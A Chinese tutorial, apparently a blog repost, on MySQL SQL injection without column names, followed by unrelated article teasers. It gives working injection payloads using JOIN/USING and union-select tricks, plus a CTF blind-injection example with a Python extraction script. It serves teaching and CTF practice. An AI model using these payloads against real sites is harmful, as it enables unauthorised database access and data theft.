深入浅出带你学习无列名注入

news2024/9/23 23:26:56

前言

大家对于SQL注入一定不陌生,我们常用的SQL注入方法是通过information_schema这个默认数据库来实现,可是你有没有想过,如果过滤了该数据库那么我们如何进行SQL语句的查询呢,本文就带给大家如何通过不使用information_schema来进行SQL注入,下面我们展开来讲。

基础知识

首先我们先了解一下什么版本可以使用无列名注入:

MySQL < 5版本,或者在 MySQL >= 5 的版本[存在information_schema库]

我们先看查询表名,因为information_schema被过滤了,所以我们需要找到代替该函数的,这里有以下两个方法来进行查询:

sys数据库

MYSQL在5.7以上版本新增的数据库,基础数据来自information_schema和performance_chema,但是值得注意的是SYS数据库本身不储存任何数据。我们可以通过其中的schema_auto_increment_columns来获取表名。

InnoDb引擎

在MYSQL5.5.8及以上版本,InnoDB成为其默认存储引擎。同时MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats表,里面存储了数据库和其数据表的信息,需要注意的是这两个表里没有存储列名。

通过以上方法我们可以获取数据库名和表名,但是我们不知道列明,接下来就进入无列名注入的环节。

JOIN

首先来讲利用JOIN去进行无列名注入,通过JOIN建立两个表之间的内连接,也就是说将两张表的列名给加起来,可能会爆出相同的列明的名字,我们利用的就是这个特性来爆出列明。下面给大家进行演示:

当我们通过查询获取到表名之后,使用下面的PAYLOAD获取列名:

?id=-1' union all select * from (select * from users as a join users as b)as c--+ 

简单分析一下AS的作用是取别名,把users表当做a,join起连接作用,下面看看执行效果:

可以看到获取到了第一列数据id,之后我们使用using来声明内连接,比如我要查第二列的数据:

?id=-1' union all select*from (select * from users as a join users b using(id))c--+ 

此时就会给我们回显第二列的数据,剩下的以此类推。

union select

平常我们查询语句大致为一下类型:

mysql> select * from xino; 

但是当我们知道表中有几个列时,可以进行下面的查询:

select 1,2,3, union select * from xino; 

此时你会发现新建了一个虚拟表,里面存储了xino表里的所有数据:

我们可以通过查询数字来查询数据:

select `3` from (select 1,2,3 union select * from xino)a; 

可以看到成功查询。

例题

了解完以上内容后我们来看一下例题去巩固一下:打开题目查看源码:

需要我们POST一个id的参数,考虑是SQL注入,fuzz了一下后发现过滤了in,也就是说不能用平常的SQL注入来查表了,我们考虑使用:

sys.schema_table_statistics_with_buffer 

来查询表名,因为涉及盲注,查询错误返回给我们NULL,构造poc:

0^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),1,1))>32) 

可以写一个脚本来查,最后得到表名为:

f1ag_1s_h3r3_hhhhh 

因为union被过滤了,我们尝试别的无列名注入方法,这里采用加括号逐位比较大小的方法,具体可以看下面的poc:

1&&((select 1,"f")>(select * from flag_is_here)) 

通过逐个比较来进行判断,不过需要我们来写一个脚本这里就贴一下重点代码吧:

 while letf < right:s = flagmid = (letf+right) // 2s = s + chr(mid)payload = f"0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"data = {"id":payload}res = requests.post(url=url,data=data).text 

最后可以跑出flag。

结语

今天给大家带来了无列名注入的知识点不知道大家学会了没有,简单来说无列名注入还是挺考察思维的需要我们构造查询的payload并写出脚本,有兴趣的小伙伴不妨自己去试一下,喜欢本文希望可以一键三连支持一下。

最后

最近找到一个VUE的文档,它将VUE的各个知识点进行了总结,整理成了《Vue 开发必须知道的36个技巧》。内容比较详实,对各个知识点的讲解也十分到位。



有需要的小伙伴,可以点击下方卡片领取,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/351159.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MyBatis详解2——增删改查操作

一、SpringBoot单元测试 1.1什么是单元测试 单元测试是指对软件中的最小测试单元进行检查和验证的过程。 执行单元测试就是为了证明某段代码的执行结果是否符合我们的预期。如果测试通过则是符合预期&#xff0c;否则测试失败。 1.2单元测试的好处 1.单元测试不用启动Tomca…

全球十大资质正规外汇期货平台排行榜(最新版汇总)

外汇期货简称为FxFut&#xff0c;是“Forex Futures”的缩写&#xff0c;是在集中形式的期货交易所内&#xff0c;交易双方通过公开叫价&#xff0c;以某种非本国货币买进或卖出另一种非本国货币&#xff0c;并签订一个在未来的某一日期根据协议价格交割标准数量外汇的合约。 …

Pycharm开发工具的安装和基础使用

数据来源 01 Python开发环境 Pycharm集成开发工具(DE)&#xff0c;是当下全球Pthn开发者&#xff0c;使用最频繁的工具软件。 绝大多数的 Python程序&#xff0c;都是在 Pycharm工具内完成的开发。 Pycharm工具下载 首先&#xff0c;我们先下载并安装它&#xff1a;打开网站…

罗列几个提升WPF应用程序冷启动性能的方法!(Part 2)

在上文中&#xff08;点击这里回顾>>&#xff09;&#xff0c;我们主要介绍了针对三个技术的WPF应用程序性能提升&#xff0c;本文将着重介绍针对DevExpress WPF界面控件研发的应用程序如何提升性能&#xff01;有用控件推荐~DevExpress WPF拥有120个控件和库&#xff0c…

PostgreSQL的学习心得和知识总结(一百二十三)|深入理解PostgreSQL数据库开源扩展pg_dirtyread的使用场景和实现原理

目录结构 注&#xff1a;提前言明 本文借鉴了以下博主、书籍或网站的内容&#xff0c;其列表如下&#xff1a; 1、参考书籍&#xff1a;《PostgreSQL数据库内核分析》 2、参考书籍&#xff1a;《数据库事务处理的艺术&#xff1a;事务管理与并发控制》 3、PostgreSQL数据库仓库…

大彩 串口屏

资料下载 视频 屏幕程序创建 创建 主界面设置 实现按钮和文本的添加&#xff0c;实现画面的切换 下面注释4有点问题&#xff0c;切换画面还是会下传指令集&#xff0c;只是无法在软件中进行指令集的设置了 按钮界面 首先第一步同上添加背景图片&#xff0c;然后添加…

性能VS功能,同为测试又有哪些不一样?

我们在求职的时候&#xff0c;发现有的是招聘的功能测试&#xff0c;有的招聘的是性能测试&#xff0c;那么功能测试和性能测试的区别是什么呢&#xff1f; 侧重点不同 功能测试的侧重点是功能是否满足客户需求。 比如说我们拿到一个节假日搞活动的需求&#xff0c;这个需求…

【订阅】订阅MySql集简云连接器同步报销审批数据至MySql数据库

方案场景 企业在实现数字化转型的道路上&#xff0c;因企业多个系统孤立数据割断&#xff0c;数据互通成为企业率先解决的最大问题&#xff0c;依靠钉钉OA审批&#xff0c;企业通过审批后手动录入到企业的自建系统&#xff0c;然后再同步到MySQL数据库&#xff0c;这种方式不仅…

WPF MVVM系统入门-下

WPF MVVM系统入门-下 CommandManager 接上文WPF MVVM系统入门-上&#xff0c;我们想把Command放在ViewModel中&#xff0c;而不是Model中&#xff0c;可以将CommandBase类改为 public class CommandBase : ICommand {public event EventHandler? CanExecuteChanged{add { C…

[Verilog硬件描述语言]程序设计语句

目录一、数据流建模二、行为级建模2.1 应用场景2.2 initial过程语句2.3 always过程语句2.3.1 电平敏感信号&#xff1a;2.3.2 边沿敏感信号&#xff1a;2.3.3 initial和always语句使用注意2.4 例题&#xff1a;用always过程语句描述4选1数据选择器2.5 例题&#xff1a; 用alway…

2023-02-16:干活小计

数学公式表示学习&#xff1a; 大约耗时&#xff1a;2 hours 在做了一些工作后重读论文&#xff1a;MathBERT: A Pre-Trained Model for Mathematical Formula Understanding 这是本篇论文最重要的idea&#xff1a;Current pre-trained models neglect the structural featu…

魔百和M401A刷入Armbian系统EMMC开启wifi

文章目录一、Armbian系统写入U盘二、U盘内uEnv.txt文件修改三、盒子从U盘进行启动四、设置用户名和密码五、Armbian系统写入EMMC六、 重启系统reboot(不可以拔U盘)七、盒子关机拔出U盘八、插入USB无线网卡&#xff0c;连接wifi上次盒子刷了5.15版本的armbian系统&#xff0c;可…

C++ map和set

目录 1. 关联式容器 2. 键值对 3. 树形结构的关联式容器 3.1 set 3.1.1 set的介绍 3.1.2 set的使用 3.2 map 3.2.1 map的介绍 3.2.2 map的使用 3.3 multiset 3.3.1 multiset的介绍 3.3.2 multiset的使用 3.4 multimap 3.4.1 multimap的介绍 3.5 在OJ中的使用 4.…

Android框架源码分析-浅析OkHttp3

浅析OkHttp3 这篇文章主要用来回顾Okhttp3源码中&#xff0c;同步异步请求的区别、拦截器的责任链模式、连接池管理以及探讨socket通信到底在哪里实现。 列出的代码可能删掉了非核心部分的展示&#xff0c;如果有异议请查看源码 连接池涉及知识&#xff1a;可能根据 IP 地址…

iis7.5应用程序池的启动模式设置

最近发现公司的网站第一次登录时比较慢&#xff0c;甚至有超时的时候&#xff0c;当我检查应用程序池(IIS 7.5)时&#xff0c;应用程序池正常启动&#xff0c;但有时候处于停止状态&#xff0c;停止原因未知。所以必须第一时间重新启动它&#xff0c;以保证网站能被正常访问。于…

kubeadm Dashboard harbor

主机名IP地址安装组件master01192.168.186.10docker、kubeadm、kubelet、kubectl、flannelnode01192.168.186.20docker、kubeadm、kubelet、kubectl、flannelnode02192.168.186.30docker、kubeadm、kubelet、kubectl、flannelharbor192.168.186.40docker、docker-compose、harb…

python语言基础(最详细版)

文章目录一、程序的格式框架缩进1、定义2、这里就简单的举几个例子注释二、语法元素的名称三、数据类型四、数值运算符五、关系运算六、逻辑运算七、运算符的结合性八、字符串一、程序的格式框架 缩进 1、定义 &#xff08;1&#xff09;python中通常用缩进来表示代码包含和…

Python迭代器、生成器和装饰器

一、迭代器 1、迭代器简介 迭代操作是访问集合元素的一种方式&#xff0c;是 Python最强大的功能之一。 迭代器是用来迭代取值的工具&#xff0c;是一个可以记住遍历的位置的对象。 迭代器对象从集合的第一个元素开始访问&#xff0c;直到所有的元素被访问完结束。迭代器只能…

QT项目_RPC(进程间通讯)

QT项目_RPC(进程间通讯) 前言&#xff1a; 两个进程间通信、或是说两个应用程序之间通讯。实际情况是在QT开发的一个项目中&#xff0c;里面包含两个子程序&#xff0c;子程序有单独的界面和应用逻辑&#xff0c;这两个子程序跑起来之后需要一些数据的交互&#xff0c;例如&…

GEE学习笔记 八十四:【GEE之Python版教程十四】矢量数据(ee.feature)

上一节讲了几何图形Geometry&#xff0c;这一节讲矢量数据&#xff08;ee.feature&#xff09;&#xff0c;它的构成也就是几何图形以及属性字典。 1、API定义 首先看一下GEE的python版API&#xff08;Welcome to GEE-Python-API’s documentation! — GEE-Python-API 1.0 do…